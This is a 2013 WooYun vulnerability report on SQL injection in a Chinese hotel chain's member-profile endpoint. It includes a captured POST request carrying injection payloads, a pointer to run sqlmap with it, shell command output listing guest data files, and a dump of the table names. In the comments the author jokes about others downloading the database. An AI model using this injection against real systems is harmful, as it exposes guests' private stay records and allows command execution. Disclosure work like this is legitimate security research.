当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-038106

漏洞标题：佳驿酒店存在SQL注射漏洞可查看开房记录与执行系统命令

相关厂商：jyhotels.com

漏洞作者： yofx

提交时间：2013-09-25 14:56

修复时间：2013-09-30 14:57

公开时间：2013-09-30 14:57

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-25： 细节已通知厂商并且等待厂商处理中
2013-09-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

第一发，后续还有。小伙伴们你和你的小女朋友去开房了没？

详细说明：

该漏洞隐藏比较深，存在于登陆后的用户信息页面。要重现漏洞，首先注册用户，登陆后，来到如下：

http://[马赛克].com/hy_hyxx.asp


我们随便修改一个其中的字段，比如电话，通过抓包即可获得如下信息：
头信息：

POST /interface/GetCardInfoto.asp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://[马赛克].com/hy_hyxx.asp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; qdesk 2.5.1277.202; Windows NT 6.1; WOW64; Trident/6.0; EIE10;ZHCNMSE)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 226
DNT: 1
Host: [马赛克].com
Pragma: no-cache
Cookie: ASPSESSIONIDQQARACTT=IMIFFNABNOMDGJOPCLMCIKHN; __utma=151624807.147161778.1380073670.1380073670.1380073670.1; __utmb=151624807.1.10.1380073670; __utmc=151624807; __utmz=151624807.1380073670.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CNZZDATA2483714=cnzz_eid%3D1610132666-1380073670-http%253A%252F%252F[马赛克].com%26ntime%3D1380073670%26cnzz_a%3D0%26retime%3D1380073671094%26sin%3D%26ltime%3D1380073671094%26rtime%3D0; AJSTAT_ok_pages=1; AJSTAT_ok_times=1; Hm_lvt_5bc7cb98a65977d60bcfcef84a320f0f=1380073671; Hm_lpvt_5bc7cb98a65977d60bcfcef84a320f0f=1380073671


post信息：

Password=我是马赛克&no=我是马赛克&sex=%C4%D0&mobile=我是马赛克&phone=1234%2527and+1%3D1&emaile=1fsdf@qq.com&street=-5057+UNION+ALL+SELECT+CONCAT%280x7177766271%2C0x637a4b7169577a787748%2C0x71786a6b71%29%23&zip=&button2=%D0%DE%B8%C4


额里面有我的测试语句 勿怪。。呵呵
接下来放到sqlmap里面跑吧。。设定好data和cookie即可。
漏洞页面是存在于

/interface/GetCardInfoto.asp

这里的，未对提交参数过滤导致注入脱裤。
稍微看了下积分系统。。可以兑换东西。。。这个。。。。赶紧修复吧。。我什么都没改。

漏洞证明：

1.png


确实可以注入而且是DBA

2.png


可以执行cmd命令 不是系统权限

3.png


command standard output:
---
 驱动器 C 中的卷没有标签。
 卷的序列号是 B8BB-9F62
 
 c:\data 的目录
 
2012/03/17  12:24    <DIR>          .
2012/03/17  12:24    <DIR>          ..
2012/03/17  11:23        28,784,339 guest_card.out
2012/03/17  11:49       194,312,036 guest_income.out
2012/03/17  11:25       145,380,327 hmaster.out
2012/03/17  11:25         1,383,091 master.out
2012/03/17  11:27       133,089,417 master_detail_crs.out
2012/03/17  11:27        13,083,788 master_hotel.out
2012/03/17  11:27           458,880 master_hung.out
2012/03/17  11:31       275,499,065 master_log.out
2012/03/17  11:43         2,576,718 operatelog.out
2012/03/17  11:31         2,388,728 rmamount.out
2012/03/17  11:31        19,097,772 sms_send.out
2012/03/17  11:50       107,318,465 vipcard.out
2012/03/17  11:37       263,730,610 vippoint.out
2012/03/17  11:33       112,167,003 vip_xf.out
2012/03/17  11:37         8,333,601 ycus_xf_crs.out
2012/03/17  11:43       308,959,445 yjourrep_crs.out
2012/03/17  11:45       111,480,400 yjourrep_crs_inzone.out
2012/03/17  11:43         6,890,456 ymktsummaryrep_crs.out
              18 个文件  1,734,934,141 字节
               2 个目录 55,046,377,472 可用字节
---
os-shell>


数据库：

Database: InZoneCRS
[309 tables]
+---------------------------------+
| Authority                       |
| Classify                        |
| List                            |
| PMS_HOTEL_JOB_LINK              |
| PMS_JOB_DETAILS                 |
| PMS_TASK_DETAILS                |
| Param                           |
| Query                           |
| QueryAuthorityRelation          |
| Queue_Consume                   |
| UserQueryRelation               |
| accredit                        |
| accthead                        |
| addservices                     |
| aging_report                    |
| alerts                          |
| allot_task                      |
| allot_tasklist                  |
| allotment_item                  |
| allotment_remain                |
| allotment_type                  |
| allotment_use                   |
| ar_apply                        |
| ar_detail                       |
| ar_detail_des                   |
| ar_detail_des_till              |
| ar_master                       |
| argst                           |
| audit_date                      |
| auth_right                      |
| auth_role                       |
| auto_dept                       |
| auto_empno                      |
| auto_rep_link                   |
| auto_report                     |
| basecode                        |
| basecode_cat                    |
| blkmst                          |
| caiwu_kjkm                      |
| caiwu_pz                        |
| cancel_rule                     |
| channel_change_log              |
| channel_rate_availability       |
| channel_rate_publish            |
| channel_ratecode_mapping        |
| channel_room_publish            |
| cmscode_crs                     |
| cntcode                         |
| countrycode                     |
| crs_company                     |
| crs_company_temp                |
| crs_daily_report                |
| crs_daily_report_tmp            |
| crs_download_log                |
| crs_emp_reserve                 |
| crs_night_audit                 |
| crs_night_audit_tmp             |
| crs_shift                       |
| crs_syncctrl                    |
| crs_web_order_stat              |
| cti_phone_crs                   |
| data_upload                     |
| depcxl_rec                      |
| deposit_mapfield                |
| deposit_method                  |
| deposit_rule                    |
| dictate_crs                     |
| download_guest                  |
| ee                              |
| exclude_data                    |
| fec_currency                    |
| fox_point_condition_rule_code   |
| fox_relationship                |
| fox_rule_action                 |
| fox_rule_exp                    |
| fox_rule_onwership              |
| fox_rule_set                    |
| fox_workbench                   |
| fox_workbench_cat               |
| fox_workbench_ui                |
| foxhotkey                       |
| foxlangid                       |
| gate                            |
| gdsmsg                          |
| glx_crs_report                  |
| greeting                        |
| grp_ReportTemplate              |
| grp_base_hotel                  |
| grp_base_hotel1                 |
| grp_data_des                    |
| grp_data_link                   |
| grp_prom                        |
| grp_prom_log                    |
| grp_prom_ratecode               |
| grp_prom_rule                   |
| grp_templateCatalog             |
| gtype                           |
| gtype_crs                       |
| gtype_crs_log                   |
| guest                           |
| guest_1                         |
| guest_2                         |
| guest_back                      |
| guest_back1                     |
| guest_card                      |
| guest_card_list_view            |
| guest_card_type                 |
| guest_cpl                       |
| guest_date                      |
| guest_del                       |
| guest_diary                     |
| guest_extra                     |
| guest_extra_crs                 |
| guest_income                    |
| guest_income_audit_log          |
| guest_income_des                |
| guest_income_des_till           |
| guest_income_pool               |
| guest_log                       |
| guest_prefer                    |
| guest_prefer_view               |
| guest_ratecode                  |
| guest_xfttl                     |
| hmaster                         |
| hotel_register                  |
| hotelinfo                       |
| hotelinfo_email                 |
| jiayi_house_status              |
| lgfl                            |
| lgfl_des                        |
| macro_set                       |
| master                          |
| master_des                      |
| master_detail_crs               |
| master_detail_loger_crs         |
| master_guest                    |
| master_hotel                    |
| master_hung                     |
| master_log                      |
| messages_crs                    |
| mjourrep_crs                    |
| mktcode                         |
| mooncake                        |
| notify_queue_view               |
| notify_template                 |
| operatelog                      |
| package                         |
| package_detail                  |
| pbcatcol                        |
| pbcatedt                        |
| pbcatfmt                        |
| pbcattbl                        |
| pbcatvld                        |
| pccode                          |
| pcid_des                        |
| pinyin                          |
| pos_mode_name                   |
| print_template                  |
| promotion_crs                   |
| prvcode                         |
| reason                          |
| repDataGrid                     |
| repParam                        |
| repParams                       |
| repParamsDef                    |
| repReport                       |
| repTemplate                     |
| repempnolink                    |
| reqcode                         |
| restriction                     |
| restype                         |
| rmamount                        |
| rmamount_log                    |
| rmamount_src                    |
| rmratecat                       |
| rmratecode                      |
| rmratecode_allotmenttype        |
| rmratecode_link                 |
| rmratecode_log                  |
| rmratecode_log_link             |
| rmratedef                       |
| rmratedef_everyday              |
| rmratedef_log                   |
| role_right                      |
| rsvsrc                          |
| rsvsrc_X                        |
| rsvsrc_detail                   |
| saleid                          |
| sms_pattern                     |
| sms_send                        |
| sqlmapoutput                    |
| srccode                         |
| statistic_c                     |
| statistic_i                     |
| statistic_m                     |
| statistic_p                     |
| statistic_t                     |
| statistic_y                     |
| sys_actor_role                  |
| sys_emp_role                    |
| sys_empno                       |
| sys_extraid                     |
| sys_function                    |
| sys_function_dtl                |
| sys_history                     |
| sys_rep_link                    |
| sys_role                        |
| sys_seq_no                      |
| sysdata                         |
| sysdefault                      |
| sysdiagrams                     |
| sysoption                       |
| sysoption1                      |
| task                            |
| tasklist                        |
| temp_1                          |
| temp_card_1                     |
| temp_card_period                |
| temp_guest                      |
| templateCatalog                 |
| test                            |
| test_111                        |
| typim_crs                       |
| typim_crs_log                   |
| umAuthor                        |
| umMainModule                    |
| umRole                          |
| umRoleAuthor                    |
| umSubModule                     |
| user_account                    |
| user_role                       |
| vip_updown_term                 |
| vip_xf                          |
| vipcard                         |
| vipcard1                        |
| vipcard_aircard_point           |
| vipcard_batch_detail            |
| vipcard_batch_histroy           |
| vipcard_card_type               |
| vipcard_consume                 |
| vipcard_consume_1               |
| vipcard_consume_dtls            |
| vipcard_des                     |
| vipcard_des_till                |
| vipcard_freeze_sumpoint_view    |
| vipcard_goods                   |
| vipcard_goods_category          |
| vipcard_goods_delivery          |
| vipcard_goods_inout             |
| vipcard_goods_inout_history     |
| vipcard_goods_provider          |
| vipcard_log                     |
| vipcard_loss                    |
| vipcard_master                  |
| vipcard_master_detail           |
| vipcard_member_info_view        |
| vipcard_point                   |
| vipcard_point_change_details    |
| vipcard_point_exchange          |
| vipcard_point_exchange_dtls     |
| vipcard_point_formula           |
| vipcard_point_freeze            |
| vipcard_point_lost              |
| vipcard_point_period            |
| vipcard_point_period0808        |
| vipcard_point_period1           |
| vipcard_point_period10          |
| vipcard_point_period11          |
| vipcard_point_period12          |
| vipcard_pool                    |
| vipcard_potential_member        |
| vipcard_potential_member_income |
| vipcard_snapshot                |
| vipcard_snapshot_till           |
| vipcard_top_nroom_view          |
| vipcard_top_stay_view           |
| vipcard_type                    |
| vipcard_updown                  |
| vipcard_upgrate_notfiy          |
| vipcard_workbench_data          |
| vipcard_workbench_data_card     |
| vipcard_writelog                |
| vipcard_yjourrep_link           |
| vippoint                        |
| vippoint_des                    |
| vippoint_des_till               |
| vippoint_view                   |
| vipstat_rep                     |
| xlm_temp                        |
| yaudit_impdata_crs              |
| ycaiwu_jiayi                    |
| ycashrep_crs                    |
| ycrs_reserve_statistic          |
| ycrs_reserve_statistic1         |
| ycrs_reserve_statistic_cat      |
| ycrs_statistic                  |
| ycus_xf_crs                     |
| ydairep_crs                     |
| ygststa1_crs                    |
| ygststa_crs                     |
| yjierep_crs                     |
| yjourrep_class_link             |
| yjourrep_crs                    |
| yjourrep_crs_inzone             |
| yjourrep_crs_link               |
| ymktsummaryrep_crs              |
| ynjourrep_crs                   |
| yrmsalerep_crs                  |
| yunying_report                  |
+---------------------------------+


修复方案：

即便是POST也应该过滤丫。。

版权声明：转载请注明来源 yofx@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-09-30 14:57

厂商回复：

漏洞Rank：9 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-10 22:53 | xxw ( 路人 | Rank:29 漏洞数:18 | 中国梦)

    国内还得不怎么重视安全，这也被忽视掉。。

  2. 2013-10-15 11:09 | yofx ( 路人 | Rank:16 漏洞数:7 | :))

    @xxw 忽略了好。。。大家就有裤子玩咯。。哈哈

  3. 2013-10-15 11:10 | yofx ( 路人 | Rank:16 漏洞数:7 | :))

    @疯狗 狗哥补点RANK。。。哈哈。。。